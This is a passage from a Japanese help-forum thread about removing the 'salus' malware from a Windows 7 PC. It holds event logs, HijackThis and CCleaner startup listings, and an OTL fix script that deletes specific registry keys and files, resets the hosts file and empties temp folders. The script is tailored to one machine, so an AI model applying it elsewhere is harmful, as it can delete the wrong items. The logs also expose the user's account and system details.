Description = Task Scheduling Error: m->NextScheduledEvent 5070

Error - 2015/03/26 5:28:30 | Computer Name = Tomohiko-PC | Source = Bonjour Service | ID = 100
Description = Task Scheduling Error: m->NextScheduledSPRetry 5070

Error - 2015/03/26 5:28:31 | Computer Name = Tomohiko-PC | Source = Bonjour Service | ID = 100
Description = Task Scheduling Error: Continuously busy for more than a second

Error - 2015/03/26 5:28:31 | Computer Name = Tomohiko-PC | Source = Bonjour Service | ID = 100
Description = Task Scheduling Error: m->NextScheduledEvent 6068

Error - 2015/03/26 5:28:31 | Computer Name = Tomohiko-PC | Source = Bonjour Service | ID = 100
Description = Task Scheduling Error: m->NextScheduledSPRetry 6068

Error - 2015/03/26 5:28:32 | Computer Name = Tomohiko-PC | Source = Bonjour Service | ID = 100
Description = Task Scheduling Error: Continuously busy for more than a second

Error - 2015/03/26 5:28:32 | Computer Name = Tomohiko-PC | Source = Bonjour Service | ID = 100
Description = Task Scheduling Error: m->NextScheduledEvent 7067

Error - 2015/03/26 5:28:32 | Computer Name = Tomohiko-PC | Source = Bonjour Service | ID = 100
Description = Task Scheduling Error: m->NextScheduledSPRetry 7067

[ System Events ]
Error - 2015/03/23 9:33:50 | Computer Name = Tomohiko-PC | Source = Service Control Manager | ID = 7006
Description = ScRegSetValueExW 呼び出しは、Start について次のエラーで失敗しました: %%5

Error - 2015/03/23 9:43:41 | Computer Name = Tomohiko-PC | Source = Service Control Manager | ID = 7006
Description = ScRegSetValueExW 呼び出しは、Start について次のエラーで失敗しました: %%5

Error - 2015/03/23 9:43:42 | Computer Name = Tomohiko-PC | Source = Service Control Manager | ID = 7006
Description = ScRegSetValueExW 呼び出しは、FailureCommand について次のエラーで失敗しました: %%5

Error - 2015/03/23 9:48:39 | Computer Name = Tomohiko-PC | Source = BTHUSB | ID = 327697
Description = ローカルの Bluetooth アダプターは不明なエラーが発生したため、使用されません。ドライバーはアンロードされました。

Error - 2015/03/23 15:54:21 | Computer Name = Tomohiko-PC | Source = BTHUSB | ID = 327697
Description = ローカルの Bluetooth アダプターは不明なエラーが発生したため、使用されません。ドライバーはアンロードされました。

Error - 2015/03/24 15:50:39 | Computer Name = Tomohiko-PC | Source = BTHUSB | ID = 327697
Description = ローカルの Bluetooth アダプターは不明なエラーが発生したため、使用されません。ドライバーはアンロードされました。

Error - 2015/03/25 18:24:39 | Computer Name = Tomohiko-PC | Source = BTHUSB | ID = 327697
Description = ローカルの Bluetooth アダプターは不明なエラーが発生したため、使用されません。ドライバーはアンロードされました。

Error - 2015/03/25 22:30:28 | Computer Name = Tomohiko-PC | Source = BTHUSB | ID = 327697
Description = ローカルの Bluetooth アダプターは不明なエラーが発生したため、使用されません。ドライバーはアンロードされました。

Error - 2015/03/25 23:14:33 | Computer Name = Tomohiko-PC | Source = BTHUSB | ID = 327697
Description = ローカルの Bluetooth アダプターは不明なエラーが発生したため、使用されません。ドライバーはアンロードされました。

Error - 2015/03/26 5:29:02 | Computer Name = Tomohiko-PC | Source = BTHUSB | ID = 327697
Description = ローカルの Bluetooth アダプターは不明なエラーが発生したため、使用されません。ドライバーはアンロードされました。


< End of report >
  • mari
  • 2015/03/27 (Fri) 04:11:04
Re: salusの駆除をお助けください
大変失礼致しました。
Extras.txtにつきましても上記にて貼らせていただきます。
引き続き、何卒宜しくお願い致します。
  • mari
  • 2015/03/27 (Fri) 04:13:19
今度はOTLからゴミ掃除も
作業と報告、ご苦労様です。
OTLのログも見せてもらいました。

まだ少し残ってたものがあるので、これもOTLから掃除しましょう。

このレスの最後にスクリプトを貼っておくので、それを丸ごとコピーして、それをWindowsのメモ帳ファイルに貼り付けて保存しておいてください。

用意できたらPCをまたセーフモードで再起動してOTL起動してください。
起動したらOTLのウインドウ下部にスクリプトを貼り付けて、今度は「Run fix」(赤字のボタン)を押してください。
これでOTLでの処置が開始されます。

しばらく待って処置ができたらPCを通常モードで再起動すると、またOTLのログが出るはずなので、それを保存してから、しばらく様子見の後、OTLのログとともに状態報告をレスください。
OTLのスクリプトは以下になります。破線(-----)を含まない箇所を丸ごとコピーして、それをOTLに貼って作業してください
------------------------------------------
:OTL
IE - HKLM\..\SearchScopes\{E627DC4B-8C04-4234-A2D4-1D634EE01C41}: "URL" = http://www.bing.com/search?q={searchTerms}&form=MSSEDF&pc=MSSE
IE - HKU\S-1-5-21-557484673-2621240714-2065044319-1000\..\SearchScopes\{0DFB3912-0E32-4e72-86D8-2119CD4508FE}: "URL" = http://www.google.com/custom?client=pub-3794288947762788&forid=1&channel=5480255188&ie=UTF-8&oe=UTF-8&safe=active&cof=GALT%3A%23008000%3BGL%3A1%3BDIV%3A%23336699%3BVLC%3A663399%3BAH%3Acenter%3BBGC%3AFFFFFF%3BLBGC%3A336699%3BALC%3A0000FF%3BLC%3A0000FF%3BT%3A000000%3BGFNT%3A0000FF%3BGIMP%3A0000FF%3BFORID%3A1&hl=ja&q={searchTerms}
[2015/03/14 05:55:35 | 000,000,020 | ---- | M] () -- C:\Users\Tomohiko\AppData\Roaming\appdataFr3.bin
[2014/12/07 09:18:09 | 000,000,000 | ---- | C] () -- C:\Users\Tomohiko\AppData\Local\{6FF81BD2-8072-4E49-ACEF-96AC85D9BBE4}

:Files
C:\Users\Tomohiko\AppData\Roaming\appdataFr3.bin
C:\Users\Tomohiko\AppData\Local\{6FF81BD2-8072-4E49-ACEF-96AC85D9BBE4}

:Commands
[purity]
[resethosts]
[emptytemp]
[createrestorepoint]
[reboot]
------------------------------------------
  • 悪代官
  • 2015/03/27 (Fri) 19:20:17
Re: salusの駆除をお助けください
All processes killed
========== OTL ==========
Registry key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\SearchScopes\{E627DC4B-8C04-4234-A2D4-1D634EE01C41}\ deleted successfully.
Registry key HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{E627DC4B-8C04-4234-A2D4-1D634EE01C41}\ not found.
Registry key HKEY_USERS\S-1-5-21-557484673-2621240714-2065044319-1000\Software\Microsoft\Internet Explorer\SearchScopes\{0DFB3912-0E32-4e72-86D8-2119CD4508FE}\ deleted successfully.
Registry key HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0DFB3912-0E32-4e72-86D8-2119CD4508FE}\ not found.
C:\Users\Tomohiko\AppData\Roaming\appdataFr3.bin moved successfully.
C:\Users\Tomohiko\AppData\Local\{6FF81BD2-8072-4E49-ACEF-96AC85D9BBE4} moved successfully.
========== FILES ==========
File\Folder C:\Users\Tomohiko\AppData\Roaming\appdataFr3.bin not found.
File\Folder C:\Users\Tomohiko\AppData\Local\{6FF81BD2-8072-4E49-ACEF-96AC85D9BBE4} not found.
========== COMMANDS ==========
C:\Windows\System32\drivers\etc\Hosts moved successfully.
HOSTS file reset successfully

[EMPTYTEMP]

User: All Users

User: Default
->Temp folder emptied: 0 bytes
->Temporary Internet Files folder emptied: 0 bytes
->Flash cache emptied: 56475 bytes

User: Default User
->Temp folder emptied: 0 bytes
->Temporary Internet Files folder emptied: 0 bytes
->Flash cache emptied: 0 bytes

User: Public

User: Tomohiko
->Temp folder emptied: 323533826 bytes
->Temporary Internet Files folder emptied: 6084586 bytes
->Java cache emptied: 0 bytes
->FireFox cache emptied: 8311991 bytes
->Google Chrome cache emptied: 393692486 bytes
->Flash cache emptied: 964954 bytes

%systemdrive% .tmp files removed: 0 bytes
%systemroot% .tmp files removed: 200704 bytes
%systemroot%\System32 .tmp files removed: 2191024 bytes
%systemroot%\System32 (64bit) .tmp files removed: 0 bytes
%systemroot%\System32\drivers .tmp files removed: 0 bytes
Windows Temp folder emptied: 3240114 bytes
%systemroot%\sysnative\config\systemprofile\AppData\Local\Microsoft\Windows\Temporary Internet Files folder emptied: 51094 bytes
RecycleBin emptied: 0 bytes

Total Files Cleaned = 704.00 mb

Unable to start System Restore Service. Error code 1084

OTL by OldTimer - Version 3.2.69.0 log created on 03282015_005505

Files\Folders moved on Reboot...
C:\Users\Tomohiko\AppData\Local\Temp\FXSAPIDebugLogFile.txt moved successfully.

PendingFileRenameOperations files...

Registry entries deleted on Reboot...

こんばんは。
早速ですがOTLを走らせましたので、ログを貼らせて頂きます。
今のところ、不具合が感じられず安定した状態です。
大変恐縮ですがご確認お願い致します。
  • mari
  • 2015/03/28 (Sat) 01:21:00
ログから全体の見直しです
作業と報告、ご苦労様です。
処置後のログを見るとOTLでの処置もできたようですね。
ではOTLも導入時の説明に沿って片付けてください。

異常も出てないようなので、全体の再確認しましょう。
またHJTとインストール情報ログと、CCでの各タブのログを取り直して、それらをレスで見せてください
  • 悪代官
  • 2015/03/28 (Sat) 06:02:45
Re: salusの駆除をお助けください
Logfile of Trend Micro HijackThis v2.0.5
Scan saved at 6:35:21, on 2015/03/28
Platform: Windows 7 SP1 (WinNT 6.00.3505)
MSIE: Internet Explorer v11.0 (11.00.9600.17631)


Boot mode: Normal

Running processes:
D:\Program Files (x86)\Malwarebytes' Anti-Malware\mbamgui.exe
C:\Program Files (x86)\NTTE\StartUpToolN\StartUpTool_e.exe
D:\Program Files (x86)\MagicDisc\MagicDisc.exe
D:\Program Files (x86)\Creative\Sound Blaster Recon3Di\Sound Blaster Recon3Di Control Panel\SBRcni.exe
D:\Program Files (x86)\CyberLink\Power2Go8\Power2Go8\CLMLSvc_P2G8.exe
D:\Program Files (x86)\Creative\Sound Blaster EVO\Sound Blaster EVO Control Panel\SBEVO.exe
C:\Program Files (x86)\XFastUSB\XFastUsb.exe
D:\Program Files (x86)\Creative\Sound Blaster Recon3Di\Sound Blaster Recon3Di Control Panel\CTJckCfg.exe
C:\Program Files (x86)\DivX\DivX Update\DivXUpdate.exe
D:\Program Files (x86)\CyberLink\PowerDVD14\PowerDVD14\PowerDVD14Agent.exe
C:\Program Files (x86)\Common Files\Microsoft Shared\Ink\TabTip32.exe
C:\Program Files (x86)\IObit\IObit Uninstaller\UninstallMonitor.exe
C:\Program Files (x86)\Google\Chrome\Application\chrome.exe
C:\Program Files (x86)\Google\Chrome\Application\chrome.exe
C:\Program Files (x86)\Google\Chrome\Application\chrome.exe
C:\Users\Tomohiko\Downloads\HijackThis.exe
C:\Program Files (x86)\Google\Chrome\Application\chrome.exe
C:\Windows\SysWOW64\DllHost.exe

F2 - REG:system.ini: UserInit=userinit.exe,
O1 - Hosts: 127.0.0.1 localhost
O1 - Hosts: ::1 localhost
O2 - BHO: Groove GFS Browser Helper - {72853161-30C5-4D22-B7F9-0BBC1D38A37E} - D:\PROGRA~1\MICROS~1\Office14\GROOVEEX.DLL
O2 - BHO: Microsoft アカウント サインイン ヘルパー - {9030D464-4C02-4ABF-8ECC-5164760863C6} - C:\Program Files (x86)\Common Files\Microsoft Shared\Windows Live\WindowsLiveLogin.dll
O2 - BHO: URLRedirectionBHO - {B4F3A835-0E21-4959-BA22-42B3008E02FF} - D:\PROGRA~1\MICROS~1\Office14\URLREDIR.DLL
O4 - HKLM\..\Run: [UpdReg] C:\Windows\UpdReg.EXE
O4 - HKLM\..\Run: [Sound Blaster Recon3Di Control Panel] "D:\Program Files (x86)\Creative\Sound Blaster Recon3Di\Sound Blaster Recon3Di Control Panel\SBRcni.exe" /r
O4 - HKLM\..\Run: [SwitchBoard] C:\Program Files (x86)\Common Files\Adobe\SwitchBoard\SwitchBoard.exe
O4 - HKLM\..\Run: [AdobeCS6ServiceManager] "C:\Program Files (x86)\Common Files\Adobe\CS6ServiceManager\CS6ServiceManager.exe" -launchedbylogin
O4 - HKLM\..\Run: [UpdateP2GoShortCut] "D:\Program Files (x86)\CyberLink\Power2Go\MUITransfer\MUIStartMenu.exe" "D:\Program Files (x86)\CyberLink\Power2Go" UpdateWithCreateOnce "SOFTWARE\CyberLink\Power2Go\6.0"
O4 - HKLM\..\Run: [UpdatePPShortCut] "D:\Program Files (x86)\CyberLink\PowerProducer\MUITransfer\MUIStartMenu.exe" "D:\Program Files (x86)\CyberLink\PowerProducer" UpdateWithCreateOnce "Software\CyberLink\PowerProducer\5.0"
O4 - HKLM\..\Run: [DivXMediaServer] C:\Program Files (x86)\DivX\DivX Media Server\DivXMediaServer.exe
O4 - HKLM\..\Run: [CLMLServer_For_P2G8] "D:\Program Files (x86)\CyberLink\Power2Go8\Power2Go8\CLMLSvc_P2G8.exe"
O4 - HKLM\..\Run: [CLVirtualDrive] "D:\Program Files (x86)\CyberLink\Power2Go8\Power2Go8\VirtualDrive.exe" /R
O4 - HKLM\..\Run: [Sound Blaster EVO Control Panel] "D:\Program Files (x86)\Creative\Sound Blaster EVO\Sound Blaster EVO Control Panel\SBEVO.exe" /r
O4 - HKLM\..\Run: [APSDaemon] "C:\Program Files (x86)\Common Files\Apple\Apple Application Support\APSDaemon.exe"
O4 - HKLM\..\Run: [XFastUSB] "C:\Program Files (x86)\XFastUSB\XFastUsb.exe"
O4 - HKLM\..\Run: [QuickTime Task] "D:\Program Files (x86)\QuickTime\QTTask.exe" -atboottime
O4 - HKLM\..\Run: [DivXUpdate] "C:\Program Files (x86)\DivX\DivX Update\DivXUpdate.exe" /CHECKNOW
O4 - HKLM\..\Run: [NTTE_OSA_AUS] "C:\Program Files (x86)\NTTE\OSA_Aus\acs.exe" -silent
O4 - HKLM\..\Run: [PowerDVD14Agent] "D:\Program Files (x86)\CyberLink\PowerDVD14\PowerDVD14\PowerDVD14Agent.exe"
O4 - HKCU\..\Run: [Power2GoExpress8] NA
O4 - HKCU\..\Run: [CCleaner Monitoring] "C:\Program Files\CCleaner\CCleaner64.exe" /MONITOR
O4 - HKUS\S-1-5-19\..\Run: [Sidebar] %ProgramFiles%\Windows Sidebar\Sidebar.exe /autoRun (User 'LOCAL SERVICE')
O4 - HKUS\S-1-5-19\..\RunOnce: [mctadmin] C:\Windows\System32\mctadmin.exe (User 'LOCAL SERVICE')
O4 - HKUS\S-1-5-20\..\Run: [Sidebar] %ProgramFiles%\Windows Sidebar\Sidebar.exe /autoRun (User 'NETWORK SERVICE')
O4 - HKUS\S-1-5-20\..\RunOnce: [mctadmin] C:\Windows\System32\mctadmin.exe (User 'NETWORK SERVICE')
O4 - Startup: MagicDisc.lnk = D:\Program Files (x86)\MagicDisc\MagicDisc.exe
O4 - Global Startup: スタートアップツール.lnk = ?
O9 - Extra button: 故障かな?と思ったら・・・ - {6CB1FA39-5745-4733-859F-E9C82A68F848} - C:\Program Files (x86)\NTTE\OSA_SupportTool\start_e.exe
O10 - Unknown file in Winsock LSP: c:\program files (x86)\common files\microsoft shared\windows live\wlidnsp.dll
O10 - Unknown file in Winsock LSP: c:\program files (x86)\common files\microsoft shared\windows live\wlidnsp.dll
O11 - Options group: [ACCELERATED_GRAPHICS] Accelerated graphics
O15 - ESC Trusted Zone: http://*.update.microsoft.com
O16 - DPF: {53F4962A-8E27-4601-8B01-79A82B4D7FC9} (LoadPrg Class) - https://member.gungho.jp/front/ec/iframe/LoadPrgAx.CAB
O16 - DPF: {D4B68B83-8710-488B-A692-D74B50BA558E} (Creative Software AutoUpdate Support Package 2) - http://ccfiles.creative.com/Web/softwareupdate/ocx/15113/CTPIDPDE.cab
O16 - DPF: {F6ACF75C-C32C-447B-9BEF-46B766368D29} (Creative Software AutoUpdate Support Package) - http://ccfiles.creative.com/Web/softwareupdate/ocx/130321/CTPID.cab
O18 - Protocol: skype4com - {FFC8B962-9B40-4DFF-9458-1830C7DD7F5D} - C:\PROGRA~2\COMMON~1\Skype\SKYPE4~1.DLL
O18 - Filter hijack: text/xml - {807573E5-5146-11D5-A672-00B0D022E945} - C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE14\MSOXMLMF.DLL
O23 - Service: @%SystemRoot%\system32\Alg.exe,-112 (ALG) - Unknown owner - C:\Windows\System32\alg.exe (file missing)
O23 - Service: Apple Mobile Device Service - Apple Inc. - C:\Program Files\Common Files\Apple\Mobile Device Support\AppleMobileDeviceService.exe
O23 - Service: Bonjour サービス (Bonjour Service) - Apple Inc. - C:\Program Files\Bonjour\mDNSResponder.exe
O23 - Service: Bluetoothスイッチャーサービス (BtSwitcherService) - Cambridge Silicon Radio Limited - D:\Program Files\CSR\CSR Harmony Wireless Software Stack\BtSwitcherService.exe
O23 - Service: cFosSpeed System Service (cFosSpeedS) - cFos Software GmbH - D:\Program Files\ASRock\XFast LAN\spd.exe
O23 - Service: Creative ALchemy AL6 Licensing Service - Creative Labs - C:\Program Files (x86)\Common Files\Creative Labs Shared\Service\AL6Licensing.exe
O23 - Service: Creative Audio Engine Licensing Service - Creative Labs - C:\Program Files (x86)\Common Files\Creative Labs Shared\Service\CTAELicensing.exe
O23 - Service: CSR Bluetoothオーディオサービス (CSRBtAudioService) - Cambridge Silicon Radio Limited - D:\Program Files\CSR\CSR Harmony Wireless Software Stack\CsrBtAudioService.exe
O23 - Service: CSR OBEX Service (CsrBtOBEXService) - Cambridge Silicon Radio Limited - D:\Program Files\CSR\CSR Harmony Wireless Software Stack\CsrBtOBEXService.exe
O23 - Service: CSR Bluetooth サービス (CsrBtService) - Cambridge Silicon Radio Limited - D:\Program Files\CSR\CSR Harmony Wireless Software Stack\CsrBtService.exe
O23 - Service: Creative Audio Service (CTAudSvcService) - Creative Technology Ltd - C:\Program Files (x86)\Creative\Shared Files\CTAudSvc.exe
O23 - Service: SB Recon3D Service (CtHdaSvc) - Creative Technology Ltd - C:\Windows\sysWow64\CtHdaSvc.exe
O23 - Service: @%SystemRoot%\system32\efssvc.dll,-100 (EFS) - Unknown owner - C:\Windows\System32\lsass.exe (file missing)
O23 - Service: @%systemroot%\system32\fxsresm.dll,-118 (Fax) - Unknown owner - C:\Windows\system32\fxssvc.exe (file missing)
O23 - Service: Futuremark SystemInfo Service - Futuremark Corporation - C:\Program Files (x86)\Futuremark\Futuremark SystemInfo\FMSISvc.exe
O23 - Service: Google Update サービス (gupdate) (gupdate) - Google Inc. - C:\Program Files (x86)\Google\Update\GoogleUpdate.exe
O23 - Service: Google Update サービス (gupdatem) (gupdatem) - Google Inc. - C:\Program Files (x86)\Google\Update\GoogleUpdate.exe
O23 - Service: Router Centered (hypixyje) - Unknown owner - C:\Users\Tomohiko\AppData\Roaming\03000200-1426280320-0500-0006-000700080009\nss201B.tmp (file missing)
O23 - Service: @%SystemRoot%\system32\ieetwcollectorres.dll,-1000 (IEEtwCollectorService) - Unknown owner - C:\Windows\system32\IEEtwCollector.exe (file missing)
O23 - Service: iPod サービス (iPod Service) - Apple Inc. - C:\Program Files\iPod\bin\iPodService.exe
O23 - Service: @keyiso.dll,-100 (KeyIso) - Unknown owner - C:\Windows\system32\lsass.exe (file missing)
O23 - Service: Logitech Bluetooth Service (LBTServ) - Logitech, Inc. - C:\Program Files\Common Files\LogiShrd\Bluetooth\lbtserv.exe
O23 - Service: LiveUpdate (LiveUpdateSvc) - IObit - C:\Program Files (x86)\IObit\LiveUpdate\LiveUpdate.exe
O23 - Service: MBAMScheduler - Malwarebytes Corporation - D:\Program Files (x86)\Malwarebytes' Anti-Malware\mbamscheduler.exe
O23 - Service: MBAMService - Malwarebytes Corporation - D:\Program Files (x86)\Malwarebytes' Anti-Malware\mbamservice.exe
O23 - Service: @comres.dll,-2797 (MSDTC) - Unknown owner - C:\Windows\System32\msdtc.exe (file missing)
O23 - Service: @%SystemRoot%\System32\netlogon.dll,-102 (Netlogon) - Unknown owner - C:\Windows\system32\lsass.exe (file missing)
O23 - Service: nProtect GameGuard Service (npggsvc) - Unknown owner - C:\Windows\system32\GameMon.des.exe (file missing)
O23 - Service: NVIDIA Display Driver Service (nvsvc) - Unknown owner - C:\Windows\system32\nvvsvc.exe (file missing)
O23 - Service: NVIDIA WMI Provider (NVWMI) - Unknown owner - C:\Windows\system32\nvwmi64.exe (file missing)
O23 - Service: @%systemroot%\system32\psbase.dll,-300 (ProtectedStorage) - Unknown owner - C:\Windows\system32\lsass.exe (file missing)
O23 - Service: Cyberlink RichVideo Service(CRVS) (RichVideo) - Unknown owner - C:\Program Files (x86)\CyberLink\Shared files\RichVideo.exe
O23 - Service: @%systemroot%\system32\Locator.exe,-2 (RpcLocator) - Unknown owner - C:\Windows\system32\locator.exe (file missing)
O23 - Service: @%SystemRoot%\system32\samsrv.dll,-1 (SamSs) - Unknown owner - C:\Windows\system32\lsass.exe (file missing)
O23 - Service: @%SystemRoot%\system32\snmptrap.exe,-3 (SNMPTRAP) - Unknown owner - C:\Windows\System32\snmptrap.exe (file missing)
O23 - Service: @%systemroot%\system32\spoolsv.exe,-1 (Spooler) - Unknown owner - C:\Windows\System32\spoolsv.exe (file missing)
O23 - Service: @%SystemRoot%\system32\sppsvc.exe,-101 (sppsvc) - Unknown owner - C:\Windows\system32\sppsvc.exe (file missing)
O23 - Service: NVIDIA Stereoscopic 3D Driver Service (Stereo Service) - NVIDIA Corporation - C:\Program Files (x86)\NVIDIA Corporation\3D Vision\nvSCPAPISvr.exe
O23 - Service: SwitchBoard - Adobe Systems Incorporated - C:\Program Files (x86)\Common Files\Adobe\SwitchBoard\SwitchBoard.exe
O23 - Service: @%SystemRoot%\system32\ui0detect.exe,-101 (UI0Detect) - Unknown owner - C:\Windows\system32\UI0Detect.exe (file missing)
O23 - Service: @%SystemRoot%\system32\vaultsvc.dll,-1003 (VaultSvc) - Unknown owner - C:\Windows\system32\lsass.exe (file missing)
O23 - Service: @%SystemRoot%\system32\vds.exe,-100 (vds) - Unknown owner - C:\Windows\System32\vds.exe (file missing)
O23 - Service: @%systemroot%\system32\vssvc.exe,-102 (VSS) - Unknown owner - C:\Windows\system32\vssvc.exe (file missing)
O23 - Service: Memory Key Series (vutyweki) - Unknown owner - C:\Users\Tomohiko\AppData\Roaming\03000200-1426280320-0500-0006-000700080009\jnsq740B.tmp (file missing)
O23 - Service: @%systemroot%\system32\wbengine.exe,-104 (wbengine) - Unknown owner - C:\Windows\system32\wbengine.exe (file missing)
O23 - Service: @%Systemroot%\system32\wbem\wmiapsrv.exe,-110 (wmiApSrv) - Unknown owner - C:\Windows\system32\wbem\WmiApSrv.exe (file missing)
O23 - Service: @%PROGRAMFILES%\Windows Media Player\wmpnetwk.exe,-101 (WMPNetworkSvc) - Unknown owner - C:\Program Files (x86)\Windows Media Player\wmpnetwk.exe (file missing)

--
End of file - 12118 bytes
  • mari
  • 2015/03/28 (Sat) 06:39:16
Re: salusの駆除をお助けください
有効 HKCU:Run AdobeBridge
有効 HKCU:Run ASRockXTU
有効 HKCU:Run CCleaner Monitoring Piriform Ltd "C:\Program Files\CCleaner\CCleaner64.exe" /MONITOR
有効 HKCU:Run Power2GoExpress8 NA
有効 HKCU:Run zASRockInstantBoot
有効 HKLM:Run AdobeAAMUpdater-1.0 Adobe Systems Incorporated "C:\Program Files (x86)\Common Files\Adobe\OOBE\PDApp\UWA\UpdaterStartupUtility.exe"
有効 HKLM:Run AdobeCS6ServiceManager Adobe Systems Incorporated "C:\Program Files (x86)\Common Files\Adobe\CS6ServiceManager\CS6ServiceManager.exe" -launchedbylogin
有効 HKLM:Run APSDaemon Apple Inc. "C:\Program Files (x86)\Common Files\Apple\Apple Application Support\APSDaemon.exe"
有効 HKLM:Run CLMLServer_For_P2G8 CyberLink "D:\Program Files (x86)\CyberLink\Power2Go8\Power2Go8\CLMLSvc_P2G8.exe"
有効 HKLM:Run CLVirtualDrive CyberLink Corp. "D:\Program Files (x86)\CyberLink\Power2Go8\Power2Go8\VirtualDrive.exe" /R
有効 HKLM:Run Creative SB Monitoring Utility Launcher RunDll32 SBAVMonL.dll,SBAVMonitorLauncher
有効 HKLM:Run CsrAudioguiCtrl Cambridge Silicon Radio Limited D:\Program Files\CSR\CSR Harmony Wireless Software Stack\CsrAudioguiCtrl.exe
有効 HKLM:Run CSRHarmonySkypePlugin Cambridge Silicon Radio Limited C:\Program Files (x86)\CSR\CSR Harmony Wireless Software Stack\CSRHarmonySkypePlugin.exe
有効 HKLM:Run CsrHCRPServer Cambridge Silicon Radio Limited D:\Program Files\CSR\CSR Harmony Wireless Software Stack\CsrHCRPServer.exe
有効 HKLM:Run CsrSyncMLServer Cambridge Silicon Radio Ltd. D:\Program Files\CSR\CSR Harmony Wireless Software Stack\CsrSyncMLServer.exe
有効 HKLM:Run DivXMediaServer DivX, LLC C:\Program Files (x86)\DivX\DivX Media Server\DivXMediaServer.exe
有効 HKLM:Run DivXUpdate DivX, LLC "C:\Program Files (x86)\DivX\DivX Update\DivXUpdate.exe" /CHECKNOW
有効 HKLM:Run EvtMgr6 Logicool, Inc. C:\Program Files\Logicool\SetPointP\SetPoint.exe /launchGaming
有効 HKLM:Run HarmonyUserStartup Cambridge Silicon Radio Limited D:\Program Files\CSR\CSR Harmony Wireless Software Stack\HarmonyUserStartup.exe
有効 HKLM:Run iTunesHelper Apple Inc. "C:\Program Files\iTunes\iTunesHelper.exe"
有効 HKLM:Run MSC Microsoft Corporation "C:\Program Files\Microsoft Security Client\msseces.exe" -hide -runkey
有効 HKLM:Run NTTE_OSA_AUS 東日本電信電話株式会社 "C:\Program Files (x86)\NTTE\OSA_Aus\acs.exe" -silent
有効 HKLM:Run nwiz NVIDIA Corporation C:\Program Files\NVIDIA Corporation\nview\nwiz.exe /installquiet
有効 HKLM:Run PowerDVD14Agent CyberLink Corp. "D:\Program Files (x86)\CyberLink\PowerDVD14\PowerDVD14\PowerDVD14Agent.exe"
有効 HKLM:Run QuickTime Task Apple Inc. "D:\Program Files (x86)\QuickTime\QTTask.exe" -atboottime
有効 HKLM:Run Sound Blaster EVO Control Panel Creative Technology Ltd "D:\Program Files (x86)\Creative\Sound Blaster EVO\Sound Blaster EVO Control Panel\SBEVO.exe" /r
有効 HKLM:Run Sound Blaster Recon3Di Control Panel Creative Technology Ltd "D:\Program Files (x86)\Creative\Sound Blaster Recon3Di\Sound Blaster Recon3Di Control Panel\SBRcni.exe" /r
有効 HKLM:Run SwitchBoard Adobe Systems Incorporated C:\Program Files (x86)\Common Files\Adobe\SwitchBoard\SwitchBoard.exe
有効 HKLM:Run TrayApplication Cambridge Silicon Radio Limited D:\Program Files\CSR\CSR Harmony Wireless Software Stack\TrayApplication.exe
有効 HKLM:Run UpdateP2GoShortCut "D:\Program Files (x86)\CyberLink\Power2Go\MUITransfer\MUIStartMenu.exe" "D:\Program Files (x86)\CyberLink\Power2Go" UpdateWithCreateOnce "SOFTWARE\CyberLink\Power2Go\6.0"
有効 HKLM:Run UpdatePPShortCut "D:\Program Files (x86)\CyberLink\PowerProducer\MUITransfer\MUIStartMenu.exe" "D:\Program Files (x86)\CyberLink\PowerProducer" UpdateWithCreateOnce "Software\CyberLink\PowerProducer\5.0"
有効 HKLM:Run UpdReg Creative Technology Ltd. C:\Windows\UpdReg.EXE
有効 HKLM:Run vksts Cambridge Silicon Radio Limited D:\Program Files\CSR\CSR Harmony Wireless Software Stack\vksts.exe
有効 HKLM:Run XFast LAN cFos Software GmbH D:\Program Files\ASRock\XFast LAN\cFosSpeed.exe
有効 HKLM:Run XFastUSB FNet Co., Ltd. "C:\Program Files (x86)\XFastUSB\XFastUsb.exe"
有効 Startup Common スタートアップツール.lnk C:\Windows\Installer\{ABF2A330-637C-45FC-A1EF-AAA803FB6FE5}\_2482D56151239B506E3E28.exe
有効 Startup User MagicDisc.lnk MagicISO, Inc. D:\Program Files (x86)\MagicDisc\MagicDisc.exe
  • mari
  • 2015/03/28 (Sat) 06:39:41
Re: salusの駆除をお助けください
有効 Extension 故障かな?と思ったら・・・ 東日本電信電話株式会社 C:\Program Files (x86)\NTTE\OSA_SupportTool\start_e.exe
有効 Helper ExplorerWnd Helper IObit C:\Program Files (x86)\IObit\IObit Uninstaller\UninstallExplorer64.dll
無効 Helper Groove GFS Browser Helper Microsoft Corporation D:\PROGRA~1\MICROS~1\Office14\GROOVEEX.DLL
無効 Helper Microsoft アカウント サインイン ヘルパー Microsoft Corp. C:\Program Files (x86)\Common Files\Microsoft Shared\Windows Live\WindowsLiveLogin.dll
無効 Helper Office Document Cache Handler Microsoft Corporation D:\PROGRA~1\MICROS~1\Office14\URLREDIR.DLL
無効 Helper Office Document Cache Handler Microsoft Corporation C:\PROGRA~1\MICROS~3\Office14\URLREDIR.DLL
無効 Helper Windows Live ID Sign-in Helper Microsoft Corp. C:\Program Files\Common Files\Microsoft Shared\Windows Live\WindowsLiveLogin.dll
  • mari
  • 2015/03/28 (Sat) 06:40:10
Re: salusの駆除をお助けください
無効 Extension Freemake Video Converter Plugin 1.0.0 Ellora Assets Corporation default D:\Program Files (x86)\Freemake\Freemake Video Converter\BrowserPlugin\Firefox
無効 Extension Logitech SetPoint 6.5 Logitech Inc. default C:\Program Files\Logicool\SetPointP\LogiSmoothFirefoxExt
有効 Plugin Adobe Acrobat 11.0.2.0 default D:\Program Files (x86)\Adobe\Reader 11.0\Reader\browser\nppdf32.dll
有効 Plugin iTunes Application Detector 1.0.1.1 default D:\Program Files (x86)\iTunes\Mozilla Plugins\npitunes.dll
有効 Plugin Microsoft Office 2010 14.0.4730.1010 Microsoft Corporation default D:\PROGRA~1\MICROS~1\Office14\NPAUTHZ.DLL
有効 Plugin Microsoft Office 2010 14.0.4761.1000 Microsoft Corporation default D:\PROGRA~1\MICROS~1\Office14\NPSPWRAP.DLL
有効 Plugin NVIDIA 3D Vision 7.17.13.3182 NVIDIA Corporation default C:\Program Files (x86)\NVIDIA Corporation\3D Vision\npnv3dv.dll
有効 Plugin NVIDIA 3D VISION 7.17.13.3182 NVIDIA Corporation default C:\Program Files (x86)\NVIDIA Corporation\3D Vision\npnv3dvstreaming.dll
有効 Plugin QuickTime Plug-in 7.7.4 7.7.4.0 Apple Inc. default D:\Program Files (x86)\QuickTime\Plugins\npqtplugin5.dll
有効 Plugin Shockwave Flash 11.9.900.170 default C:\Windows\SysWOW64\Macromed\Flash\NPSWF32_11_9_900_170.dll
  • mari
